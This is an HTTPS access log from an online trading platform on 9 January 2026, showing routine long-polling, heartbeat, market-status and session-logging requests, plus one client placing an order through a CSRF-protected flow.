[09/Jan/2026:15:03:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942480350 HTTP/1.1" -
[09/Jan/2026:15:03:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942474608 HTTP/1.1" -
[09/Jan/2026:15:03:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942474498 HTTP/1.1" -
[09/Jan/2026:15:03:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942475524 HTTP/1.1" -
[09/Jan/2026:15:03:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942485448 HTTP/1.1" -
[09/Jan/2026:15:03:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942479726 HTTP/1.1" -
[09/Jan/2026:15:03:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942479532 HTTP/1.1" -
[09/Jan/2026:15:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942480577 HTTP/1.1" -
[09/Jan/2026:15:03:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942490478 HTTP/1.1" -
[09/Jan/2026:15:03:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942484855 HTTP/1.1" -
[09/Jan/2026:15:03:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942484559 HTTP/1.1" -
[09/Jan/2026:15:03:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942485715 HTTP/1.1" -
[09/Jan/2026:15:03:38 +0800] 172.237.102.204 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:15:03:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942495563 HTTP/1.1" -
[09/Jan/2026:15:03:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942489894 HTTP/1.1" -
[09/Jan/2026:15:03:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942489596 HTTP/1.1" -
[09/Jan/2026:15:03:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942490844 HTTP/1.1" -
[09/Jan/2026:15:03:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942500639 HTTP/1.1" -
[09/Jan/2026:15:03:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942494982 HTTP/1.1" -
[09/Jan/2026:15:03:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942494625 HTTP/1.1" -
[09/Jan/2026:15:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942495979 HTTP/1.1" -
[09/Jan/2026:15:03:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942505668 HTTP/1.1" -
[09/Jan/2026:15:03:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942500085 HTTP/1.1" -
[09/Jan/2026:15:03:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942499660 HTTP/1.1" -
[09/Jan/2026:15:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942501114 HTTP/1.1" -
[09/Jan/2026:15:03:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942510757 HTTP/1.1" -
[09/Jan/2026:15:03:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942504698 HTTP/1.1" -
[09/Jan/2026:15:03:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942505118 HTTP/1.1" -
[09/Jan/2026:15:03:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942506157 HTTP/1.1" -
[09/Jan/2026:15:04:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942515790 HTTP/1.1" -
[09/Jan/2026:15:04:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942509717 HTTP/1.1" -
[09/Jan/2026:15:04:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942510241 HTTP/1.1" -
[09/Jan/2026:15:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942511222 HTTP/1.1" -
[09/Jan/2026:15:04:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942520870 HTTP/1.1" -
[09/Jan/2026:15:04:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942514740 HTTP/1.1" -
[09/Jan/2026:15:04:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942515348 HTTP/1.1" -
[09/Jan/2026:15:04:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942516328 HTTP/1.1" -
[09/Jan/2026:15:04:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942519785 HTTP/1.1" -
[09/Jan/2026:15:04:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942525968 HTTP/1.1" -
[09/Jan/2026:15:04:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942520406 HTTP/1.1" -
[09/Jan/2026:15:04:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942521467 HTTP/1.1" -
[09/Jan/2026:15:04:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942524811 HTTP/1.1" -
[09/Jan/2026:15:04:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942531056 HTTP/1.1" -
[09/Jan/2026:15:04:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942525496 HTTP/1.1" -
[09/Jan/2026:15:04:16 +0800] 192.241.154.87 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:15:04:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942526588 HTTP/1.1" -
[09/Jan/2026:15:04:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942529859 HTTP/1.1" -
[09/Jan/2026:15:04:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942536082 HTTP/1.1" -
[09/Jan/2026:15:04:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942530593 HTTP/1.1" -
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1230
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942531715 HTTP/1.1" -
[09/Jan/2026:15:04:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
